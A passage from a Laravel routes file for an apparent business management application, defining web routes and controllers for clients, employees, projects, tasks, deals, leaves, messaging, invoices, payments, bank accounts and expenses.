'applyQuickAction'])->name('client-notes.apply_quick_action'); Route::post('client-notes/showVerified/{id}', [ClientNoteController::class, 'showVerified'])->name('client-notes.show_verified'); Route::resource('client-notes', ClientNoteController::class); Route::get('client-docs/download/{id}', [ClientDocController::class, 'download'])->name('client-docs.download'); Route::resource('client-docs', ClientDocController::class); // client category & subcategory Route::resource('clientCategory', ClientCategoryController::class); Route::get('getClientSubCategories/{id}', [ClientSubCategoryController::class, 'getSubCategories'])->name('get_client_sub_categories'); Route::resource('clientSubCategory', ClientSubCategoryController::class); // employee Promotion Route::resource('promotions', PromotionController::class); // employee routes Route::post('employees/apply-quick-action', [EmployeeController::class, 'applyQuickAction'])->name('employees.apply_quick_action'); Route::post('employees/assignRole', [EmployeeController::class, 'assignRole'])->name('employees.assign_role'); Route::get('employees/byDepartment/{id}', [EmployeeController::class, 'byDepartment'])->name('employees.by_department'); Route::get('employees/invite-member', [EmployeeController::class, 'inviteMember'])->name('employees.invite_member'); Route::get('employees/import', [EmployeeController::class, 'importMember'])->name('employees.import'); Route::post('employees/import', [EmployeeController::class, 'importStore'])->name('employees.import.store'); Route::post('employees/import/process', [EmployeeController::class, 'importProcess'])->name('employees.import.process'); Route::get('import/process/{name}/{id}', [ImportController::class, 'getImportProgress'])->name('import.process.progress'); Route::get('employees/import/exception/{name}', [ImportController::class, 'getQueueException'])->name('import.process.exception'); Route::post('employees/send-invite', [EmployeeController::class, 'sendInvite'])->name('employees.send_invite'); Route::post('employees/create-link', [EmployeeController::class, 'createLink'])->name('employees.create_link'); Route::post('/get-exit-date-message', [EmployeeController::class, 'getExitDateMessage'])->name('getExitDateMessage'); Route::resource('employees', EmployeeController::class); Route::resource('passport', PassportController::class); Route::resource('employee-visa', EmployeeVisaController::class); Route::resource('emergency-contacts', EmergencyContactController::class); Route::get('employee-docs/download/{id}', [EmployeeDocController::class, 'download'])->name('employee-docs.download'); Route::resource('employee-docs', EmployeeDocController::class); Route::get('employee-leaves/employeeLeaveTypes/{id}', [LeavesQuotaController::class, 'employeeLeaveTypes'])->name('employee-leaves.employee_leave_types'); Route::resource('employee-leaves', LeavesQuotaController::class); Route::get('designations/designation-hierarchy', [DesignationController::class, 'hierarchyData'])->name('designation.hierarchy'); Route::post('designations/changeParent', [DesignationController::class, 'changeParent'])->name('designation.changeParent'); Route::post('designations/search-filter', [DesignationController::class, 'searchFilter'])->name('designation.srchFilter'); Route::post('designations/apply-quick-action', [DesignationController::class, 'applyQuickAction'])->name('designations.apply_quick_action'); Route::resource('designations', DesignationController::class); Route::post('departments/apply-quick-action', [DepartmentController::class, 'applyQuickAction'])->name('departments.apply_quick_action'); Route::get('departments/department-hierarchy', [DepartmentController::class, 'hierarchyData'])->name('department.hierarchy'); Route::post('department/changeParent', [DepartmentController::class, 'changeParent'])->name('department.changeParent'); Route::get('department/search', [DepartmentController::class, 'searchDepartment'])->name('departments.search'); Route::get('department/{id}', [DepartmentController::class, 'getMembers'])->name('departments.members'); Route::resource('departments', DepartmentController::class); Route::post('user-permissions/customPermissions/{id}', [UserPermissionController::class, 'customPermissions'])->name('user-permissions.custom_permissions'); Route::post('user-permissions/resetPermissions/{id}', [UserPermissionController::class, 'resetPermissions'])->name('user-permissions.reset_permissions'); Route::resource('user-permissions', UserPermissionController::class); /* PROJECTS */ Route::resource('projectCategory', ProjectCategoryController::class); Route::post('projects/change-status', [ProjectController::class, 'changeProjectStatus'])->name('projects.change_status'); Route::group( ['prefix' => 'projects'], function () { Route::get('import', [ProjectController::class, 'importProject'])->name('projects.import'); Route::post('import', [ProjectController::class, 'importStore'])->name('projects.import.store'); Route::post('import/process', [ProjectController::class, 'importProcess'])->name('projects.import.process'); Route::post('assignProjectAdmin', [ProjectController::class, 'assignProjectAdmin'])->name('projects.assign_project_admin'); Route::post('archive-restore/{id}', [ProjectController::class, 'archiveRestore'])->name('projects.archive_restore'); Route::post('archive-delete/{id}', [ProjectController::class, 'archiveDestroy'])->name('projects.archive_delete'); Route::get('archive', [ProjectController::class, 'archive'])->name('projects.archive'); Route::post('apply-quick-action', [ProjectController::class, 'applyQuickAction'])->name('projects.apply_quick_action'); Route::post('updateStatus/{id}', [ProjectController::class, 'updateStatus'])->name('projects.update_status'); Route::post('store-pin', [ProjectController::class, 'storePin'])->name('projects.store_pin'); Route::post('destroy-pin/{id}', [ProjectController::class, 'destroyPin'])->name('projects.destroy_pin'); Route::post('gantt-data', [ProjectController::class, 'ganttData'])->name('projects.gantt_data'); Route::post('invoiceList/{id}', [ProjectController::class, 'invoiceList'])->name('projects.invoice_list'); Route::get('duplicate-project/{id}', [ProjectController::class, 'duplicateProject'])->name('projects.duplicate_project'); Route::get('members/{id}', [ProjectController::class, 'members'])->name('projects.members'); Route::get('pendingTasks/{id}', [ProjectController::class, 'pendingTasks'])->name('projects.pendingTasks'); Route::get('labels/{id}', [TaskLabelController::class, 'labels'])->name('projects.labels'); Route::post('project-members/save-group', [ProjectMemberController::class, 'storeGroup'])->name('project-members.store_group'); Route::resource('project-members', ProjectMemberController::class); Route::post('files/store-link', [ProjectFileController::class, 'storeLink'])->name('files.store_link'); Route::get('files/download/{id}', [ProjectFileController::class, 'download'])->name('files.download'); Route::get('files/thumbnail', [ProjectFileController::class, 'thumbnailShow'])->name('files.thumbnail'); Route::post('files/multiple-upload', [ProjectFileController::class, 'storeMultiple'])->name('files.multiple_upload'); Route::resource('files', ProjectFileController::class); Route::get('milestones/byProject/{id}', [ProjectMilestoneController::class, 'byProject'])->name('milestones.by_project'); Route::resource('milestones', ProjectMilestoneController::class); Route::post('/milestones/{id}/update-status', [ProjectMilestoneController::class, 'updateStatus'])->name('milestones.updateStatus'); // Discussion category routes Route::resource('discussion-category', DiscussionCategoryController::class); Route::post('discussion/setBestAnswer', [DiscussionController::class, 'setBestAnswer'])->name('discussion.set_best_answer'); Route::resource('discussion', DiscussionController::class); Route::get('discussion-reply/get-replies/{id}', [DiscussionReplyController::class, 'getReplies'])->name('discussion-reply.get_replies'); Route::resource('discussion-reply', DiscussionReplyController::class); // Discussion Files Route::get('discussion-files/download/{id}', [DiscussionFilesController::class, 'download'])->name('discussion_file.download'); Route::resource('discussion-files', DiscussionFilesController::class); // Rating routes Route::resource('project-ratings', ProjectRatingController::class); Route::get('projects/burndown/{projectId?}', [ProjectController::class, 'burndown'])->name('projects.burndown'); /* PROJECT TEMPLATE */ Route::post('project-template/apply-quick-action', [ProjectTemplateController::class, 'applyQuickAction'])->name('project_template.apply_quick_action'); Route::resource('project-template', ProjectTemplateController::class); Route::post('project-template-members/save-group', [ProjectTemplateMemberController::class, 'storeGroup'])->name('project_template_members.store_group'); Route::resource('project-template-member', ProjectTemplateMemberController::class); Route::get('project-template-task/data/{templateId?}', [ProjectTemplateTaskController::class, 'data'])->name('project_template_task.data'); Route::resource('project-template-task', ProjectTemplateTaskController::class); Route::resource('project-template-sub-task', ProjectTemplateSubTaskController::class); Route::resource('project-calendar', ProjectCalendarController::class); } ); Route::get('project-notes/ask-for-password/{id}', [ProjectNoteController::class, 'askForPassword'])->name('project_notes.ask_for_password'); Route::post('project-notes/check-password', [ProjectNoteController::class, 'checkPassword'])->name('project_notes.check_password'); Route::post('project-notes/apply-quick-action', [ProjectNoteController::class, 'applyQuickAction'])->name('project_notes.apply_quick_action'); Route::resource('project-notes', ProjectNoteController::class); Route::get('projects-ajax', [ProjectController::class, 'ajaxLoadProject'])->name('get.projects-ajax'); Route::get('get-projects', [ProjectController::class, 'getProjects'])->name('get.projects'); Route::resource('projects', ProjectController::class); /* PRODUCTS */ Route::post('products/apply-quick-action', [ProductController::class, 'applyQuickAction'])->name('products.apply_quick_action'); Route::post('products/remove-cart-item/{id}', [ProductController::class, 'removeCartItem'])->name('products.remove_cart_item'); Route::get('products/options', [ProductController::class, 'allProductOption'])->name('products.options'); Route::post('products/add-cart-item', [ProductController::class, 'addCartItem'])->name('products.add_cart_item'); Route::get('products/cart', [ProductController::class, 'cart'])->name('products.cart'); Route::get('products/empty-cart', [ProductController::class, 'emptyCart'])->name('products.empty_cart'); /* Product Import */ Route::group( ['prefix' => 'products'], function () { Route::get('import', [ProductController::class, 'importProduct'])->name('products.import'); Route::post('import', [ProductController::class, 'importStore'])->name('products.import.store'); Route::post('import/process', [ProductController::class, 'importProcess'])->name('products.import.process'); } ); Route::resource('products', ProductController::class); Route::resource('productCategory', ProductCategoryController::class); Route::get('getProductSubCategories/{id}', [ProductSubCategoryController::class, 'getSubCategories'])->name('get_product_sub_categories'); Route::resource('productSubCategory', ProductSubCategoryController::class); /* PRODUCT FILES */ Route::get('product-files/download/{id}', [ProductFileController::class, 'download'])->name('product-files.download'); Route::post('product-files/delete-image/{id}', [ProductFileController::class, 'deleteImage'])->name('product-files.delete_image'); Route::post('product-files/update-images', [ProductFileController::class, 'updateImages'])->name('product-files.update_images'); Route::resource('product-files', ProductFileController::class); /* INVOICE FILES */ Route::get('invoice-files/download/{id}', [InvoiceFilesController::class, 'download'])->name('invoice-files.download'); Route::resource('invoice-files', InvoiceFilesController::class); /* Payments */ Route::get('orders/offline-payment-modal', [OrderController::class, 'offlinePaymentModal'])->name('orders.offline_payment_modal'); Route::get('orders/add-item', [OrderController::class, 'addItem'])->name('orders.add_item'); Route::get('orders/stripe-modal', [OrderController::class, 'stripeModal'])->name('orders.stripe_modal'); Route::post('orders/make-invoice/{orderId}', [OrderController::class, 'makeInvoice'])->name('orders.make_invoice'); Route::post('orders/payment-failed/{orderId}', [OrderController::class, 'paymentFailed'])->name('orders.payment_failed'); Route::post('orders/save-stripe-detail/', [OrderController::class, 'saveStripeDetail'])->name('orders.save_stripe_detail'); Route::post('orders/change-status/', [OrderController::class, 'changeStatus'])->name('orders.change_status'); /* Payments */ Route::get('orders/download/{id}', [OrderController::class, 'download'])->name('orders.download'); Route::post('orders/store-quantity/', [OrderController::class, 'storeQuantity'])->name('orders.store_quantity'); /* Orders */ Route::resource('orders', OrderController::class); /* NOTICE */ Route::post('notices/apply-quick-action', [NoticeController::class, 'applyQuickAction'])->name('notices.apply_quick_action'); Route::resource('notices', NoticeController::class); /* Notice files */ Route::get('notice-files/download/{id}', [NoticeFileController::class, 'download'])->name('notice_files.download'); Route::resource('notice-files', NoticeFileController::class); /* User Appreciation */ Route::group( ['prefix' => 'appreciations'], function () { Route::post('awards/apply-quick-action', [AwardController::class, 'applyQuickAction'])->name('awards.apply_quick_action'); Route::post('awards/change-status/{id?}', [AwardController::class, 'changeStatus'])->name('awards.change-status'); Route::get('awards/quick-create', [AwardController::class, 'quickCreate'])->name('awards.quick-create'); Route::post('awards/quick-store', [AwardController::class, 'quickStore'])->name('awards.quick-store'); Route::resource('awards', AwardController::class); }); Route::post('appreciations/apply-quick-action', [AppreciationController::class, 'applyQuickAction'])->name('appreciations.apply_quick_action'); Route::resource('appreciations', AppreciationController::class); /* KnowledgeBase */ Route::get('knowledgebase/create/{id?}', [KnowledgeBaseController::class, 'create'])->name('knowledgebase.create'); Route::post('knowledgebase/apply-quick-action', [KnowledgeBaseController::class, 'applyQuickAction'])->name('knowledgebase.apply_quick_action'); Route::get('knowledgebase/searchquery/{query?}', [KnowledgeBaseController::class, 'searchQuery'])->name('knowledgebase.searchQuery'); Route::resource('knowledgebase', KnowledgeBaseController::class)->except(['create']); Route::get('knowledgebase-files/download/{id}', [KnowledgeBaseFileController::class, 'download'])->name('knowledgebase-files.download'); Route::resource('knowledgebase-files', KnowledgeBaseFileController::class); /* KnowledgeBase category */ Route::resource('knowledgebasecategory', KnowledgeBaseCategoryController::class); /* EVENTS */ Route::post('event-monthly-on', [EventCalendarController::class, 'monthlyOn'])->name('events.monthly_on'); Route::resource('events', EventCalendarController::class); Route::post('updateStatus/{id}', [EventCalendarController::class, 'updateStatus'])->name('events.update_status'); Route::get('events/event-status-note/{id}', [EventCalendarController::class, 'eventStatusNote'])->name('events.event_status_note'); /* My Calendar */ Route::get('my-calendar', [MyCalendarController::class, 'index'])->name('my-calendar.index'); /* Event Files */ Route::get('event-files/download/{id}', [EventFileController::class, 'download'])->name('event-files.download'); Route::resource('event-files', EventFileController::class); /* TASKS */ Route::get('tasks/client-detail', [TaskController::class, 'clientDetail'])->name('tasks.clientDetail'); Route::post('tasks/change-status', [TaskController::class, 'changeStatus'])->name('tasks.change_status'); Route::post('tasks/change-milestone', [TaskController::class, 'milestoneChange'])->name('tasks.change_milestone'); Route::post('tasks/apply-quick-action', [TaskController::class, 'applyQuickAction'])->name('tasks.apply_quick_action'); Route::post('tasks/store-pin', [TaskController::class, 'storePin'])->name('tasks.store_pin'); Route::post('tasks/reminder', [TaskController::class, 'reminder'])->name('tasks.reminder'); Route::post('tasks/destroy-pin/{id}', [TaskController::class, 'destroyPin'])->name('tasks.destroy_pin'); Route::post('tasks/check-task/{taskID}', [TaskController::class, 'checkTask'])->name('tasks.check_task'); Route::post('tasks/send-approval', [TaskController::class, 'sendApproval'])->name('tasks.send_approval'); Route::post('tasks/gantt-task-update/{id}', [TaskController::class, 'updateTaskDuration'])->name('tasks.gantt_task_update'); Route::get('tasks/members/{id}', [TaskController::class, 'members'])->name('tasks.members'); Route::get('tasks/project_tasks/{id}', [TaskController::class, 'projectTasks'])->name('tasks.project_tasks'); Route::get('tasks/check-leaves', [TaskController::class, 'checkLeaves'])->name('tasks.checkLeaves'); Route::get('tasks/waiting-approval', [TaskController::class, 'waitingApproval'])->name('tasks.waiting-approval'); Route::get('tasks/show-waiting-approval-change-status-modal', [TaskController::class, 'statusReason'])->name('tasks.show_status_reason_modal'); Route::post('tasks/store-status-reason', [TaskController::class, 'storeStatusReason'])->name('tasks.store_comment_on_change_status'); Route::group(['prefix' => 'tasks'], function () { Route::resource('task-label', TaskLabelController::class); Route::resource('taskCategory', TaskCategoryController::class); Route::post('taskComment/save-comment-like', [TaskCommentController::class, 'saveCommentLike'])->name('taskComment.save_comment_like'); Route::resource('taskComment', TaskCommentController::class); Route::resource('task-note', TaskNoteController::class); // task files routes Route::get('task-files/download/{id}', [TaskFileController::class, 'download'])->name('task_files.download'); Route::resource('task-files', TaskFileController::class); // Sub task routes Route::post('sub-task/change-status', [SubTaskController::class, 'changeStatus'])->name('sub_tasks.change_status'); Route::resource('sub-tasks', SubTaskController::class); // Task files routes Route::get('sub-task-files/download/{id}', [SubTaskFileController::class, 'download'])->name('sub-task-files.download'); Route::resource('sub-task-files', SubTaskFileController::class); // Taskboard routes Route::post('taskboards/collapseColumn', [TaskBoardController::class, 'collapseColumn'])->name('taskboards.collapse_column'); Route::post('taskboards/updateIndex', [TaskBoardController::class, 'updateIndex'])->name('taskboards.update_index'); Route::get('taskboards/loadMore', [TaskBoardController::class, 'loadMore'])->name('taskboards.load_more'); Route::resource('taskboards', TaskBoardController::class); Route::resource('task-calendar', TaskCalendarController::class); }); Route::resource('tasks', TaskController::class); // Holidays Route::get('holidays/mark-holiday', [HolidayController::class, 'markHoliday'])->name('holidays.mark_holiday'); Route::post('holidays/mark-holiday-store', [HolidayController::class, 'markDayHoliday'])->name('holidays.mark_holiday_store'); Route::get('holidays/table-view', [HolidayController::class, 'tableView'])->name('holidays.table_view'); Route::post('holidays/apply-quick-action', [HolidayController::class, 'applyQuickAction'])->name('holidays.apply_quick_action'); Route::resource('holidays', HolidayController::class); // Lead Files Route::get('deal-files/download/{id}', [LeadFileController::class, 'download'])->name('deal-files.download'); Route::get('deal-files/layout', [LeadFileController::class, 'layout'])->name('deal-files.layout'); Route::resource('deal-files', LeadFileController::class); // Follow up Route::get('deals/follow-up/{leadID}', [DealController::class, 'followUpCreate'])->name('deals.follow_up'); Route::post('deals/follow-up-store', [DealController::class, 'followUpStore'])->name('deals.follow_up_store'); Route::get('deals/follow-up-edit/{id?}', [DealController::class, 'editFollow'])->name('deals.follow_up_edit'); Route::post('deals/follow-up-update', [DealController::class, 'updateFollow'])->name('deals.follow_up_update'); Route::post('deals/follow-up-delete/{id}', [DealController::class, 'deleteFollow'])->name('deals.follow_up_delete'); // Change status Route::get('stage-change/{id}', [DealController::class, 'stageChange'])->name('deals.stage_change'); Route::post('save-stage-change', [DealController::class, 'saveStageChange'])->name('deals.save_stage_change'); Route::post('deals/change-stage', [DealController::class, 'changeStage'])->name('deals.change_stage'); Route::post('deals/apply-quick-action', [DealController::class, 'applyQuickAction'])->name('deals.apply_quick_action'); Route::get('deals/gdpr-consent', [DealController::class, 'consent'])->name('deals.gdpr_consent'); Route::post('deals/save-deal-consent/{deal}', [DealController::class, 'saveLeadConsent'])->name('deals.save_lead_consent'); Route::post('deals/change-follow-up-status', [DealController::class, 'changeFollowUpStatus'])->name('deals.change_follow_up_status'); // Lead Category Route::post('/update-lead-category', [LeadCategoryController::class, 'updateLeadCategory'])->name('category.updateDefault'); Route::resource('leadCategory', LeadCategoryController::class); // Lead Note Route::get('lead-notes/ask-for-password/{id}', [LeadNoteController::class, 'askForPassword'])->name('lead-notes.ask_for_password'); Route::post('lead-notes/check-password', [LeadNoteController::class, 'checkPassword'])->name('lead-notes.check_password'); Route::post('lead-notes/apply-quick-action', [LeadNoteController::class, 'applyQuickAction'])->name('lead-notes.apply_quick_action'); Route::resource('lead-notes', LeadNoteController::class); // Deal Note Route::post('deal-notes/apply-quick-action', [DealNoteController::class, 'applyQuickAction'])->name('deal-notes.apply_quick_action'); Route::resource('deal-notes', DealNoteController::class); // deal board routes Route::post('leadboards/get-stage-slug', [LeadBoardController::class, 'getStageSlug'])->name('leadboards.get_stage_slug'); Route::post('leadboards/collapseColumn', [LeadBoardController::class, 'collapseColumn'])->name('leadboards.collapse_column'); Route::post('leadboards/updateIndex', [LeadBoardController::class, 'updateIndex'])->name('leadboards.update_index'); Route::get('leadboards/loadMore', [LeadBoardController::class, 'loadMore'])->name('leadboards.load_more'); Route::resource('leadboards', LeadBoardController::class); Route::post('lead-form/sortFields', [LeadCustomFormController::class, 'sortFields'])->name('lead-form.sortFields'); Route::resource('lead-form', LeadCustomFormController::class); Route::group(['prefix' => 'deals'], function () { Route::get('import', [DealController::class, 'importLead'])->name('deals.import'); Route::post('import', [DealController::class, 'importStore'])->name('deals.import.store'); Route::post('import/process', [DealController::class, 'importProcess'])->name('deals.import.process'); }); Route::group(['prefix' => 'lead-contact'], function () { Route::get('import', [LeadContactController::class, 'importLead'])->name('lead-contact.import'); Route::post('import', [LeadContactController::class, 'importStore'])->name('lead-contact.import.store'); Route::post('import/process', [LeadContactController::class, 'importProcess'])->name('lead-contact.import.process'); }); // deals route Route::resource('lead-contact', LeadContactController::class); Route::post('lead-contact/apply-quick-action', [LeadContactController::class, 'applyQuickAction'])->name('lead-contact.apply_quick_action'); Route::get('deals/get-stage/{id}', [DealController::class, 'getStages'])->name('deals.get-stage'); Route::get('deals/get-deals/{id}', [DealController::class, 'getDeals'])->name('deals.get-deals'); Route::get('deals/get-agent/{id}', [DealController::class, 'getAgents'])->name('deals.get_agents'); Route::resource('deals', DealController::class); // leaves files routes Route::get('leave-files/download/{id}', [LeaveFileController::class, 'download'])->name('leave-files.download'); Route::resource('leave-files', LeaveFileController::class); /* LEAVES */ Route::get('leaves/leaves-date', [LeaveController::class, 'getDate'])->name('leaves.date'); Route::get('leaves/personal', [LeaveController::class, 'personalLeaves'])->name('leaves.personal'); Route::get('leaves/calendar', [LeaveController::class, 'leaveCalendar'])->name('leaves.calendar'); Route::post('leaves/data', [LeaveController::class, 'data'])->name('leaves.data'); Route::post('leaves/leaveAction', [LeaveController::class, 'leaveAction'])->name('leaves.leave_action'); Route::get('leaves/show-reject-modal', [LeaveController::class, 'rejectLeave'])->name('leaves.show_reject_modal'); Route::get('leaves/show-approved-modal', [LeaveController::class, 'approveLeave'])->name('leaves.show_approved_modal'); Route::post('leaves/pre-approve-leave', [LeaveController::class, 'preApprove'])->name('leaves.pre_approve_leave'); Route::post('leaves/apply-quick-action', [LeaveController::class, 'applyQuickAction'])->name('leaves.apply_quick_action'); Route::get('leaves/view-related-leave/{id}', [LeaveController::class, 'viewRelatedLeave'])->name('leaves.view_related_leave'); Route::get('leaves/export-all-leave', [LeaveController::class, 'exportAllLeaves'])->name('leaves.export_all_leave'); Route::resource('leaves', LeaveController::class); // Messages Route::get('messages/fetch-user-list', [MessageController::class, 'fetchUserListView'])->name('messages.fetch_user_list'); Route::post('messages/fetch_messages/{id}', [MessageController::class, 'fetchUserMessages'])->name('messages.fetch_messages'); Route::post('messages/check_messages', [MessageController::class, 'checkNewMessages'])->name('messages.check_new_message'); Route::delete('messages/destroy-chat/{id}', [MessageController::class, 'destroyAll'])->name('messages.destroy_all'); Route::resource('messages', MessageController::class); // Chat Files Route::get('message-file/download/{id}', [MessageFileController::class, 'download'])->name('message_file.download'); Route::resource('message-file', MessageFileController::class); // Invoices Route::get('invoices/offline-method-description', [InvoiceController::class, 'offlineDescription'])->name('invoices.offline_method_description'); Route::get('invoices/offline-payment-modal', [InvoiceController::class, 'offlinePaymentModal'])->name('invoices.offline_payment_modal'); Route::get('invoices/stripe-modal', [InvoiceController::class, 'stripeModal'])->name('invoices.stripe_modal'); Route::post('invoices/save-stripe-detail/', [InvoiceController::class, 'saveStripeDetail'])->name('invoices.save_stripe_detail'); Route::get('invoices/delete-image', [InvoiceController::class, 'deleteInvoiceItemImage'])->name('invoices.delete_image'); Route::post('invoices/store-offline-payment', [InvoiceController::class, 'storeOfflinePayment'])->name('invoices.store_offline_payment'); Route::post('invoices/store_file', [InvoiceController::class, 'storeFile'])->name('invoices.store_file'); Route::get('invoices/file-upload', [InvoiceController::class, 'fileUpload'])->name('invoices.file_upload'); Route::post('invoices/delete-applied-credit/{id}', [InvoiceController::class, 'deleteAppliedCredit'])->name('invoices.delete_applied_credit'); Route::get('invoices/applied-credits/{id}', [InvoiceController::class, 'appliedCredits'])->name('invoices.applied_credits'); Route::get('invoices/payment-reminder/{invoiceID}', [InvoiceController::class, 'remindForPayment'])->name('invoices.payment_reminder'); Route::post('invoices/send-invoice/{invoiceID}', [InvoiceController::class, 'sendInvoice'])->name('invoices.send_invoice'); Route::post('invoices/approve-offline-invoice/{invoiceID}', [InvoiceController::class, 'approveOfflineInvoice'])->name('invoices.approve_offline_invoice'); Route::post('invoices/apply-quick-action', [InvoiceController::class, 'applyQuickAction'])->name('invoices.apply_quick_action'); Route::get('invoices/download/{id}', [InvoiceController::class, 'download'])->name('invoices.download'); Route::get('invoices/add-item', [InvoiceController::class, 'addItem'])->name('invoices.add_item'); Route::get('invoices/update-status/{invoiceID}', [InvoiceController::class, 'cancelStatus'])->name('invoices.update_status'); Route::get('invoices/get-client-company/{projectID?}', [InvoiceController::class, 'getClientOrCompanyName'])->name('invoices.get_client_company'); Route::post('invoices/fetchTimelogs', [InvoiceController::class, 'fetchTimelogs'])->name('invoices.fetch_timelogs'); Route::get('invoices/check-shipping-address', [InvoiceController::class, 'checkShippingAddress'])->name('invoices.check_shipping_address'); Route::get('invoices/product-category/{id}', [InvoiceController::class, 'productCategory'])->name('invoices.product_category'); Route::get('invoices/toggle-shipping-address/{invoice}', [InvoiceController::class, 'toggleShippingAddress'])->name('invoices.toggle_shipping_address'); Route::get('invoices/shipping-address-modal/{invoice}', [InvoiceController::class, 'shippingAddressModal'])->name('invoices.shipping_address_modal'); Route::post('invoices/add-shipping-address/{clientId}', [InvoiceController::class, 'addShippingAddress'])->name('invoices.add_shipping_address'); Route::get('invoices/get-exchange-rate/{id}', [InvoiceController::class, 'getExchangeRate'])->name('invoices.get_exchange_rate'); Route::get('invoices/committed-modal', [InvoiceController::class, 'committedModal'])->name('invoices.committed_modal'); Route::group(['prefix' => 'invoices'], function () { // Invoice recurring Route::post('recurring-invoice/change-status', [RecurringInvoiceController::class, 'changeStatus'])->name('recurring_invoice.change_status'); Route::get('recurring-invoice/export/{startDate}/{endDate}/{status}/{employee}', [RecurringInvoiceController::class, 'export'])->name('recurring_invoice.export'); Route::get('recurring-invoice/recurring-invoice/{id}', [RecurringInvoiceController::class, 'recurringInvoices'])->name('recurring_invoice.recurring_invoice'); Route::resource('recurring-invoices', RecurringInvoiceController::class); }); Route::resource('invoices', InvoiceController::class); Route::resource('invoices-payment-details', InvoicePaymentDetailController::class); // Estimates Route::get('estimates/delete-image', [EstimateController::class, 'deleteEstimateItemImage'])->name('estimates.delete_image'); Route::get('estimates/download/{id}', [EstimateController::class, 'download'])->name('estimates.download'); Route::post('estimates/send-estimate/{id}', [EstimateController::class, 'sendEstimate'])->name('estimates.send_estimate'); Route::get('estimates/change-status/{id}', [EstimateController::class, 'changeStatus'])->name('estimates.change_status'); Route::post('estimates/accept/{id}', [EstimateController::class, 'accept'])->name('estimates.accept'); Route::post('estimates/decline/{id}', [EstimateController::class, 'decline'])->name('estimates.decline'); Route::get('estimates/add-item', [EstimateController::class, 'addItem'])->name('estimates.add_item'); Route::resource('estimates', EstimateController::class); // Proposals Route::get('proposals/delete-image', [ProposalController::class, 'deleteProposalItemImage'])->name('proposals.delete_image'); Route::get('proposals/download/{id}', [ProposalController::class, 'download'])->name('proposals.download'); Route::post('proposals/send-proposal/{id}', [ProposalController::class, 'sendProposal'])->name('proposals.send_proposal'); Route::get('proposals/add-item', [ProposalController::class, 'addItem'])->name('proposals.add_item'); Route::resource('proposals', ProposalController::class); // Proposal Template Route::post('proposal-template/apply-quick-action', [ProposalTemplateController::class, 'applyQuickAction'])->name('proposal_template.apply_quick_action'); Route::get('proposal-template/add-item', [ProposalController::class, 'addItem'])->name('proposal-template.add_item'); Route::resource('proposal-template', ProposalTemplateController::class); Route::get('proposal-template/download/{id}', [ProposalTemplateController::class, 'download'])->name('proposal-template.download'); Route::get('proposals-template/delete-image', [ProposalTemplateController::class, 'deleteProposalItemImage'])->name('proposal_template.delete_image'); // Payments Route::post('payments/apply-quick-action', [PaymentController::class, 'applyQuickAction'])->name('payments.apply_quick_action'); Route::get('payments/download/{id}', [PaymentController::class, 'download'])->name('payments.download'); Route::get('payments/account-list', [PaymentController::class, 'accountList'])->name('payments.account_list'); Route::get('payments/offline-payments', [PaymentController::class, 'offlineMethods'])->name('offline.methods'); Route::get('payments/add-bulk-payments', [PaymentController::class, 'addBulkPayments'])->name('payments.add_bulk_payments'); Route::post('payments/save-bulk-payments', [PaymentController::class, 'saveBulkPayments'])->name('payments.save_bulk_payments'); Route::resource('payments', PaymentController::class)->except(['edit', 'update']); // Credit notes Route::post('creditnotes/store_file', [CreditNoteController::class, 'storeFile'])->name('creditnotes.store_file'); Route::get('creditnotes/file-upload', [CreditNoteController::class, 'fileUpload'])->name('creditnotes.file_upload'); Route::post('creditnotes/delete-credited-invoice/{id}', [CreditNoteController::class, 'deleteCreditedInvoice'])->name('creditnotes.delete_credited_invoice'); Route::get('creditnotes/credited-invoices/{id}', [CreditNoteController::class, 'creditedInvoices'])->name('creditnotes.credited_invoices'); Route::post('creditnotes/apply-invoice-credit/{id}', [CreditNoteController::class, 'applyInvoiceCredit'])->name('creditnotes.apply_invoice_credit'); Route::get('creditnotes/apply-to-invoice/{id}', [CreditNoteController::class, 'applyToInvoice'])->name('creditnotes.apply_to_invoice'); Route::get('creditnotes/download/{id}', [CreditNoteController::class, 'download'])->name('creditnotes.download'); Route::get('creditnotes/convert-invoice/{id}', [CreditNoteController::class, 'convertInvoice'])->name('creditnotes.convert-invoice'); Route::resource('creditnotes', CreditNoteController::class); // Bank account Route::post('bankaccount/apply-quick-action', [BankAccountController::class, 'applyQuickAction'])->name('bankaccounts.apply_quick_action'); Route::post('bankaccount/apply-transaction-quick-action', [BankAccountController::class, 'applyTransactionQuickAction'])->name('bankaccounts.apply_transaction_quick_action'); Route::get('bankaccounts/create-transaction', [BankAccountController::class, 'createTransaction'])->name('bankaccounts.create_transaction'); Route::post('bankaccount/store-transaction', [BankAccountController::class, 'storeTransaction'])->name('bankaccounts.store_transaction'); Route::post('bankaccount/change-status', [BankAccountController::class, 'changeStatus'])->name('bankaccounts.change_status'); Route::get('bankaccounts/view-transaction/{id}', [BankAccountController::class, 'viewTransaction'])->name('bankaccounts.view_transaction'); Route::post('bankaccount/destroy-transaction', [BankAccountController::class, 'destroyTransaction'])->name('bankaccounts.destroy_transaction'); Route::get('bankaccount/generate-statement/{id}', [BankAccountController::class, 'generateStatement'])->name('bankaccounts.generate_statement'); Route::get('bankaccount/get-bank-statement', [BankAccountController::class, 'getBankStatement'])->name('bankaccounts.get_bank_statement'); Route::resource('bankaccounts', BankAccountController::class); // Expenses Route::group(['prefix' => 'expenses'], function () { Route::post('recurring-expenses/change-status', [RecurringExpenseController::class, 'changeStatus'])->name('recurring-expenses.change_status'); Route::resource('recurring-expenses', RecurringExpenseController::class); Route::get('change-status', [ExpenseController::class, 'getEmployeeProjects'])->name('expenses.get_employee_projects'); Route::get('category', [ExpenseController::class, 'getCategoryEmployee'])->name('expenses.get_category_employees'); Route::post('change-status', [ExpenseController::class, 'changeStatus'])->name('expenses.change_status'); Route::post('apply-quick-action', [ExpenseController::class, 'applyQuickAction'])->name('expenses.apply_quick_action'); Route::get('import', [ExpenseController::class, 'import'])->name('expenses.import'); Route::post('import', [ExpenseController::class, 'importStore'])->name('expenses.import.store'); Route::post('import/process', [ExpenseController::class, 'importProcess'])->name('expenses.import.process'); }); Route::resource('expenses', ExpenseController::class); Route::resource('expenseCategory', ExpenseCategoryController::class); // Timelogs Route::group(['prefix' => 'timelogs'], function () { Route::resource('timelog-calendar', TimelogCalendarController::class); Route::resource('timelog-break', ProjectTimelogBreakController::class); Route::get('by-employee', [TimelogController::class, 'byEmployee'])->name('timelogs.by_employee'); Route::get('export', [TimelogController::class, 'export'])->name('timelogs.export'); Route::get('show-active-timer', [TimelogController::class, 'showActiveTimer'])->name('timelogs.show_active_timer'); Route::get('show-timer', [TimelogController::class, 